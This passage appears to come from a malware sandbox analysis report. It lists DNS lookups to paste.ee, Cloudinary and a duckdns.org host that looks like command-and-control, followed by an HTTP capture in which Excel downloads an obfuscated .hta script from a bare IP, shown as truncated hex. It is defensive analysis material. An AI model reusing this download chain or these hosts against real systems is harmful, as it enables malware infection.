Dec 12, 2024 21:56:41.982575893 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.143028975 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.143028975 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.280726910 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.280726910 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.531775951 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		172.67.163.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:42.531775951 CET	8.8.8.8	192.168.2.22	0xed36	No error (0)	jktc.pro		104.21.34.183	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:56.886279106 CET	8.8.8.8	192.168.2.22	0x473c	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:56.886279106 CET	8.8.8.8	192.168.2.22	0x473c	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.009360075 CET	8.8.8.8	192.168.2.22	0x473c	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.009360075 CET	8.8.8.8	192.168.2.22	0x473c	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.212881088 CET	8.8.8.8	192.168.2.22	0x2e4d	No error (0)	res.cloudinary.com	cloudinary.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:56:57.212881088 CET	8.8.8.8	192.168.2.22	0x2e4d	No error (0)	cloudinary.map.fastly.net		151.101.129.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.212881088 CET	8.8.8.8	192.168.2.22	0x2e4d	No error (0)	cloudinary.map.fastly.net		151.101.65.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.212881088 CET	8.8.8.8	192.168.2.22	0x2e4d	No error (0)	cloudinary.map.fastly.net		151.101.193.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.212881088 CET	8.8.8.8	192.168.2.22	0x2e4d	No error (0)	cloudinary.map.fastly.net		151.101.1.137	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:56:57.485171080 CET	8.8.8.8	192.168.2.22	0x3d02	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:57:00.510482073 CET	8.8.8.8	192.168.2.22	0x524	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:03.931195021 CET	8.8.8.8	192.168.2.22	0x94a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:07.366364002 CET	8.8.8.8	192.168.2.22	0xe3a3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:10.618575096 CET	8.8.8.8	192.168.2.22	0x1594	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.497603893 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.497603893 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.739501953 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.739501953 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.876472950 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:12.876472950 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.028553009 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.028553009 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.170187950 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.170187950 CET	8.8.8.8	192.168.2.22	0xa68a	No error (0)	paste.ee		188.114.97.6	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:13.953754902 CET	8.8.8.8	192.168.2.22	0xe4cc	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:17.153994083 CET	8.8.8.8	192.168.2.22	0x7315	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:20.366004944 CET	8.8.8.8	192.168.2.22	0x85c7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:23.794905901 CET	8.8.8.8	192.168.2.22	0x25a4	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:27.231718063 CET	8.8.8.8	192.168.2.22	0x5b89	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:30.883111954 CET	8.8.8.8	192.168.2.22	0xed	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:34.200851917 CET	8.8.8.8	192.168.2.22	0xb66	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:37.407351017 CET	8.8.8.8	192.168.2.22	0x4ccf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:40.725080967 CET	8.8.8.8	192.168.2.22	0xe1fd	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:44.165302992 CET	8.8.8.8	192.168.2.22	0xb83a	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:47.371897936 CET	8.8.8.8	192.168.2.22	0x3f84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:50.570720911 CET	8.8.8.8	192.168.2.22	0x6be6	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:50.707230091 CET	8.8.8.8	192.168.2.22	0x6be6	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:54.076025963 CET	8.8.8.8	192.168.2.22	0x977	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:54.211723089 CET	8.8.8.8	192.168.2.22	0x977	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:57:57.699632883 CET	8.8.8.8	192.168.2.22	0x37bb	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:01.054346085 CET	8.8.8.8	192.168.2.22	0x1882	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:04.616861105 CET	8.8.8.8	192.168.2.22	0x8a7d	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:04.751578093 CET	8.8.8.8	192.168.2.22	0x8a7d	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:05.084662914 CET	8.8.8.8	192.168.2.22	0x8a7d	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:05.219867945 CET	8.8.8.8	192.168.2.22	0x8a7d	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:05.343426943 CET	8.8.8.8	192.168.2.22	0x8a7d	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.628323078 CET	8.8.8.8	192.168.2.22	0xa333	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.763247013 CET	8.8.8.8	192.168.2.22	0xa333	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:06.899565935 CET	8.8.8.8	192.168.2.22	0xa333	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:07.024338961 CET	8.8.8.8	192.168.2.22	0xa333	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:07.159471035 CET	8.8.8.8	192.168.2.22	0xa333	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.442276955 CET	8.8.8.8	192.168.2.22	0x9a84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.577960014 CET	8.8.8.8	192.168.2.22	0x9a84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.712959051 CET	8.8.8.8	192.168.2.22	0x9a84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.847634077 CET	8.8.8.8	192.168.2.22	0x9a84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:08.983129025 CET	8.8.8.8	192.168.2.22	0x9a84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.219511986 CET	8.8.8.8	192.168.2.22	0xacc9	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.354530096 CET	8.8.8.8	192.168.2.22	0xacc9	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.489161968 CET	8.8.8.8	192.168.2.22	0xacc9	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.612588882 CET	8.8.8.8	192.168.2.22	0xacc9	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:10.748013973 CET	8.8.8.8	192.168.2.22	0xacc9	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:11.971899986 CET	8.8.8.8	192.168.2.22	0xfced	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.110145092 CET	8.8.8.8	192.168.2.22	0xfced	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.442881107 CET	8.8.8.8	192.168.2.22	0xfced	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.577621937 CET	8.8.8.8	192.168.2.22	0xfced	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:12.712471008 CET	8.8.8.8	192.168.2.22	0xfced	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:13.959058046 CET	8.8.8.8	192.168.2.22	0x2c96	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.082946062 CET	8.8.8.8	192.168.2.22	0x2c96	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.417671919 CET	8.8.8.8	192.168.2.22	0x2c96	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.560043097 CET	8.8.8.8	192.168.2.22	0x2c96	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:14.697787046 CET	8.8.8.8	192.168.2.22	0x2c96	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:15.910496950 CET	8.8.8.8	192.168.2.22	0x24fe	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.049350977 CET	8.8.8.8	192.168.2.22	0x24fe	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.184438944 CET	8.8.8.8	192.168.2.22	0x24fe	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.313961029 CET	8.8.8.8	192.168.2.22	0x24fe	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:16.437530041 CET	8.8.8.8	192.168.2.22	0x24fe	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.640783072 CET	8.8.8.8	192.168.2.22	0xa8f2	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.781649113 CET	8.8.8.8	192.168.2.22	0xa8f2	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:17.907857895 CET	8.8.8.8	192.168.2.22	0xa8f2	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:18.044034958 CET	8.8.8.8	192.168.2.22	0xa8f2	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:18.182874918 CET	8.8.8.8	192.168.2.22	0xa8f2	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.366365910 CET	8.8.8.8	192.168.2.22	0xd193	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.502331972 CET	8.8.8.8	192.168.2.22	0xd193	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.625792980 CET	8.8.8.8	192.168.2.22	0xd193	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.760718107 CET	8.8.8.8	192.168.2.22	0xd193	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:19.884294033 CET	8.8.8.8	192.168.2.22	0xd193	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.052597046 CET	8.8.8.8	192.168.2.22	0xeebf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.193764925 CET	8.8.8.8	192.168.2.22	0xeebf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.319854021 CET	8.8.8.8	192.168.2.22	0xeebf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.457631111 CET	8.8.8.8	192.168.2.22	0xeebf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:21.595452070 CET	8.8.8.8	192.168.2.22	0xeebf	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.726816893 CET	8.8.8.8	192.168.2.22	0xbbd3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.861598015 CET	8.8.8.8	192.168.2.22	0xbbd3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:22.998919964 CET	8.8.8.8	192.168.2.22	0xbbd3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:23.133752108 CET	8.8.8.8	192.168.2.22	0xbbd3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:23.257580042 CET	8.8.8.8	192.168.2.22	0xbbd3	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.622512102 CET	8.8.8.8	192.168.2.22	0x9a52	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.757989883 CET	8.8.8.8	192.168.2.22	0x9a52	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:24.893734932 CET	8.8.8.8	192.168.2.22	0x9a52	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:25.017261982 CET	8.8.8.8	192.168.2.22	0x9a52	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:25.152698040 CET	8.8.8.8	192.168.2.22	0x9a52	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.295856953 CET	8.8.8.8	192.168.2.22	0x9c00	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.419244051 CET	8.8.8.8	192.168.2.22	0x9c00	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.555886984 CET	8.8.8.8	192.168.2.22	0x9c00	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.690731049 CET	8.8.8.8	192.168.2.22	0x9c00	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:26.825743914 CET	8.8.8.8	192.168.2.22	0x9c00	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:27.980561018 CET	8.8.8.8	192.168.2.22	0x89a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.117309093 CET	8.8.8.8	192.168.2.22	0x89a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.253384113 CET	8.8.8.8	192.168.2.22	0x89a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.388745070 CET	8.8.8.8	192.168.2.22	0x89a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:28.524292946 CET	8.8.8.8	192.168.2.22	0x89a7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.666378021 CET	8.8.8.8	192.168.2.22	0x37e7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.803658962 CET	8.8.8.8	192.168.2.22	0x37e7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:29.932539940 CET	8.8.8.8	192.168.2.22	0x37e7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:30.056746960 CET	8.8.8.8	192.168.2.22	0x37e7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:30.179979086 CET	8.8.8.8	192.168.2.22	0x37e7	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.335189104 CET	8.8.8.8	192.168.2.22	0x6528	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.469976902 CET	8.8.8.8	192.168.2.22	0x6528	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.606643915 CET	8.8.8.8	192.168.2.22	0x6528	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.745074987 CET	8.8.8.8	192.168.2.22	0x6528	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:31.881545067 CET	8.8.8.8	192.168.2.22	0x6528	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.036295891 CET	8.8.8.8	192.168.2.22	0x569c	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.171475887 CET	8.8.8.8	192.168.2.22	0x569c	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.306916952 CET	8.8.8.8	192.168.2.22	0x569c	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.442409992 CET	8.8.8.8	192.168.2.22	0x569c	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:33.578231096 CET	8.8.8.8	192.168.2.22	0x569c	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.707426071 CET	8.8.8.8	192.168.2.22	0xef9f	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.831351042 CET	8.8.8.8	192.168.2.22	0xef9f	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:34.967348099 CET	8.8.8.8	192.168.2.22	0xef9f	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:35.090682983 CET	8.8.8.8	192.168.2.22	0xef9f	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:35.214900017 CET	8.8.8.8	192.168.2.22	0xef9f	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.383817911 CET	8.8.8.8	192.168.2.22	0xdb84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.518735886 CET	8.8.8.8	192.168.2.22	0xdb84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.653402090 CET	8.8.8.8	192.168.2.22	0xdb84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.788898945 CET	8.8.8.8	192.168.2.22	0xdb84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:58:36.912003994 CET	8.8.8.8	192.168.2.22	0xdb84	No error (0)	newglobalfucntioninside.duckdns.org		107.173.143.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jktc.pro

paste.ee

res.cloudinary.com

192.210.150.24

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49162	192.210.150.24	80	3276	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:56:19.261003971 CET	378	OUT	GET /55/crm/creamkissingthingswithcreambananapackagecreamy.hta HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.210.150.24 Connection: Keep-Alive
Dec 12, 2024 21:56:20.370709896 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 20:56:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Thu, 12 Dec 2024 05:28:35 GMT ETag: "142f6-6290bfc5f522a" Accept-Ranges: bytes Content-Length: 82678 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 53 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 73 63 72 69 70 74 27 3e 0d 0a 3c 21 2d 2d 20 48 54 4d 4c 20 45 6e 63 72 79 70 74 69 6f 6e 20 70 72 6f 76 69 64 65 64 20 62 79 20 74 75 66 61 74 2e 63 6f 6d 20 2d 2d 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 35 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 34 43 25 36 31 25 36 45 25 36 37 25 37 35 25 36 31 25 36 37 25 36 35 25 33 44 25 32 37 25 34 41 25 36 31 25 37 36 25 36 31 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 37 25 33 45 25 30 41 25 33 43 25 32 31 25 32 44 25 32 44 25 32 30 25 34 38 25 35 34 25 34 44 25 34 43 25 32 30 25 34 35 25 36 45 25 36 33 25 37 32 25 37 39 25 37 30 25 37 34 25 36 39 25 36 46 25 36 45 25 32 30 25 37 30 25 37 32 25 36 46 25 37 36 25 36 39 25 36 34 25 36 35 25 36 34 25 32 30 25 36 32 25 37 39 25 32 30 25 37 34 25 37 35 25 36 36 25 36 31 25 37 34 25 32 45 25 36 33 25 36 46 25 36 44 25 32 30 25 32 44 25 32 [TRUNCATED] Data Ascii: <Script Language='Javascript'>... HTML Encryption provided by tufat.com 